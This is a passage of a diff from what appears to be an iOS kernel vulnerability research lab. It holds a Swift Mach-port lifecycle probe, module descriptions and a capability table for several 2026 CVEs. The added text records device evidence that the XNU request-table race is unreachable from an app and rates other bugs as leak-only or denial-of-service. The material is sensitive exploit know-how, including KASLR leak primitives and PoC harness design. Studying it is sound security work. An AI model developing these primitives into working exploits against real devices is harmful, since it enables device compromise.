lines.append(" id=0x\(String(got.msgh_id, radix: 16)) local=\(got.msgh_local_port) size=\(got.msgh_size) deadName=\(deadName)")
}
for _ in 0..<64 {
var p: mach_port_t = 0
if mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &p) == KERN_SUCCESS {
if p == target { reused = true; mach_port_destroy(task, p); break }
mach_port_destroy(task, p)
}
}
lines.append("name reuse of \(target): \(reused ? "yes" : "no")")
mach_port_destroy(task, notify)
return (lines, deadName, reused, requestKR)
}
} }
+10 -1
View File
@@ -196,7 +196,7 @@ enum ModuleText {
iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards the result, still performing the read-modify-write through the unchecked base; the mark path has no bounds computation at all. The index comes from the space's saved request-table slot, so the defect shape is a stale index under concurrency between table growth or teardown and notification registration or message send. iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards the result, still performing the read-modify-write through the unchecked base; the mark path has no bounds computation at all. The index comes from the space's saved request-table slot, so the defect shape is a stale index under concurrency between table growth or teardown and notification registration or message send.
""", """,
notes: """ notes: """
The entry points on this path with no entitlement gate are mach_msg and port notification registration. This module runs 8 threads for 6 seconds and counts the kernel's return codes — any shift in the frequency of a non-KERN_SUCCESS result is a candidate signal for an out-of-range index. The entry points on this path were believed to be ungated: mach_msg and port notification registration. On the actual target (iOS 27.0.1, iPhone 19,7) and on macOS 27, all 13 combinations of notification type and right layout return -300 (MIG_TYPE_ERROR): the kernel refuses to arm a request-table entry for a third-party process. With no entry, there is no stale index to consume — this module is now a reachability negative, not race evidence. When armed is 0, no "survived" line is a 112507 conclusion.
"""), """),
"kern.decmpfs": Row( "kern.decmpfs": Row(
@@ -550,6 +550,15 @@ enum ModuleText {
This is an in-process primitive: the app dies, not the kernel. After the crash the module's verdict is processDied and the last engine log line is the fire start. The receiving-Messages path (tap "Load Preview" on a sent link) is the same code; this module only replaces the delivery end with loopback so no external network is involved. This is an in-process primitive: the app dies, not the kernel. After the crash the module's verdict is processDied and the last engine log line is the fire start. The receiving-Messages path (tap "Load Preview" on a sent link) is the same code; this module only replaces the delivery end with loopback so no external network is involved.
"""), """),
"kern.ipc.lifecycle": Row(
title: "Mach port dead-name notification and name reuse baseline (112507 prerequisite)",
summary: """
A single-threaded walk through the lifecycle the 112507 race has to keep correct: allocate a receive right → insert a send right → register a dead-name notification → drop the receive right (the send right becomes a dead name) → send into the dead name (expected MACH_SEND_INVALID_DEST) → receive the dead-name message from the notification port → release the dead name and check whether the next allocation reuses the same numeric name. No race, no freeing of live request-table entries.
""",
notes: """
This is the prerequisite baseline for the race module and cannot panic the kernel. Two observations decide whether the 112507 conclusion holds: whether the dead-name notification is actually delivered, and whether the name gets reused. If this already misbehaves, fix the platform semantics first; do not treat it as UAF evidence. On a device the notification registration should return KERN_SUCCESS; the simulator may refuse it.
"""),
"sc.dynamicstore": Row( "sc.dynamicstore": Row(
title: "SSID and router MAC from configd's dynamic store (no wifi-info entitlement)", title: "SSID and router MAC from configd's dynamic store (no wifi-info entitlement)",
summary: """ summary: """
+28 -3
View File
@@ -29,7 +29,7 @@ the POCs.
| 2026-112705 | AppleAVE2 `NumberOfTemporalLayers` | fixed-offset constant fill in the driver | no | fixed value, fixed offset | **DoS only.** No address control, no value control. The original write-up says explicitly: no arbitrary read/write capability. | | 2026-112705 | AppleAVE2 `NumberOfTemporalLayers` | fixed-offset constant fill in the driver | no | fixed value, fixed offset | **DoS only.** No address control, no value control. The original write-up says explicitly: no arbitrary read/write capability. |
| 2026-65385 | IOKit `IOHIDEventAppendEvent` | fixed-offset write into a short heap allocation | no | bounded, offset fixed | **Not reachable as a primitive here.** The POC stops at symbol resolution; the vendor-defined constructor is missing on the host. No leak, no reclaim, no gadget. | | 2026-65385 | IOKit `IOHIDEventAppendEvent` | fixed-offset write into a short heap allocation | no | bounded, offset fixed | **Not reachable as a primitive here.** The POC stops at symbol resolution; the vendor-defined constructor is missing on the host. No leak, no reclaim, no gadget. |
| 2026-112696 | AppleH16ANEInterface | kernel interface reachability | no | none observed | **No primitive.** The ANE kernel symbols are absent for a third-party process; the module is an honest negative. | | 2026-112696 | AppleH16ANEInterface | kernel interface reachability | no | none observed | **No primitive.** The ANE kernel symbols are absent for a third-party process; the module is an honest negative. |
| 2026-112507 | XNU `ipc_port.c` request-table race | stale index → UAF-shaped race | no | none direct | **The only theoretical UAF path.** The POC proves the interleaving survives; it does not produce a controlled free, a reclaim, or a leak. | | 2026-112507 | XNU `ipc_port.c` request-table race | stale index → UAF-shaped race | no | none direct | **Not reachable from the app.** Device receipt: 12,288 notification registrations, 0 armed, 12,288 refused with -300 (MIG_TYPE_ERROR). No request-table entry exists, so there is no stale index to consume. |
| 2026-113910 | decmpfs chunked zlib | under-produced chunks expose uninitialised kernel heap through a file read | **yes** (bounded) | no | **Leak only.** Useful as a KASLR step; cannot write. | | 2026-113910 | decmpfs chunked zlib | under-produced chunks expose uninitialised kernel heap through a file read | **yes** (bounded) | no | **Leak only.** Useful as a KASLR step; cannot write. |
| 2026-112554 | GPT partition-name scan | 72-B scan over a 28-B field | **yes** (bounded, model) | no | **Leak only.** The C twin models the width; the real read runs in the storage kext. | | 2026-112554 | GPT partition-name scan | 72-B scan over a 28-B field | **yes** (bounded, model) | no | **Leak only.** The C twin models the width; the real read runs in the storage kext. |
@@ -67,7 +67,30 @@ address. The only observable is a kernel data abort. Calling this "R/W" would
require a second bug that turns the corrupted field into a pointer; nothing in the require a second bug that turns the corrupted field into a pointer; nothing in the
dossier provides one. The correct classification is a reliable kernel DoS. dossier provides one. The correct classification is a reliable kernel DoS.
### CVE-2026-112507 — the UAF-shaped race ### CVE-2026-112507 — reachability closed on the device (2026-10-31)
The staged lifecycle harness was run on the target device (iPhone19,7, iOS 27.0.1)
with an ad-hoc signed build, and the race module was re-run with an `armed` counter:
- `mach_port_request_notification(DEAD_NAME)` → **-300** (MIG_TYPE_ERROR), `prev = 0`.
- Send to the dead name → `MACH_SEND_INVALID_DEST`; receive → `MACH_RCV_TIMED_OUT`.
- `kern.ipc`: 12,288 registration attempts, **0 armed, 12,288 refused**.
- On macOS 27 the same call was swept over 13 combinations of notification type
(SEND_POSSIBLE / PORT_DESTROYED / NO_SENDERS / DEAD_NAME) and right layout
(receive-only, send+receive, send-only; notify port receive or send). Every
combination returned -300.
The kernel refuses to arm a request-table entry for this process. With no entry,
the stale-index consumers in `ipc_port.c` have nothing to consume: the race cannot
be driven from an unentitled third-party app, and the "survived" line from the old
harness was measuring port churn, not the bug. The published fix shape (NULL checks
on `ipr` / `table`) is consistent with a denial or null-dereference path, not with a
reclaimable object.
**Verdict: closed for this app.** The remaining hypothetical is a platform process
that is allowed to register notifications; that is outside Cinder27's reach.
### CVE-2026-112507 — the race itself
The ring allocates receive rights, arms two notification kinds per port, tears down The ring allocates receive rights, arms two notification kinds per port, tears down
half the ring, then sends to the survivors. The request-table index consumers are half the ring, then sends to the survivors. The request-table index consumers are
@@ -120,7 +143,9 @@ on the host.
## Bottom line ## Bottom line
Arbitrary kernel R/W without a panic is **not achievable from these six entries as Arbitrary kernel R/W without a panic is **not achievable from these six entries as
shipped**. The maximum safe capability the lab now demonstrates is: shipped**, and the one entry that had a theoretical UAF path (112507) is now closed
by device evidence: notification registration is refused, so the request table is
never armed. The maximum safe capability the lab demonstrates is:
- a repeatable kernel heap **leak** with pointer classification (113910); - a repeatable kernel heap **leak** with pointer classification (113910);
- a read-width model for the GPT scan (112554); - a read-width model for the GPT scan (112554);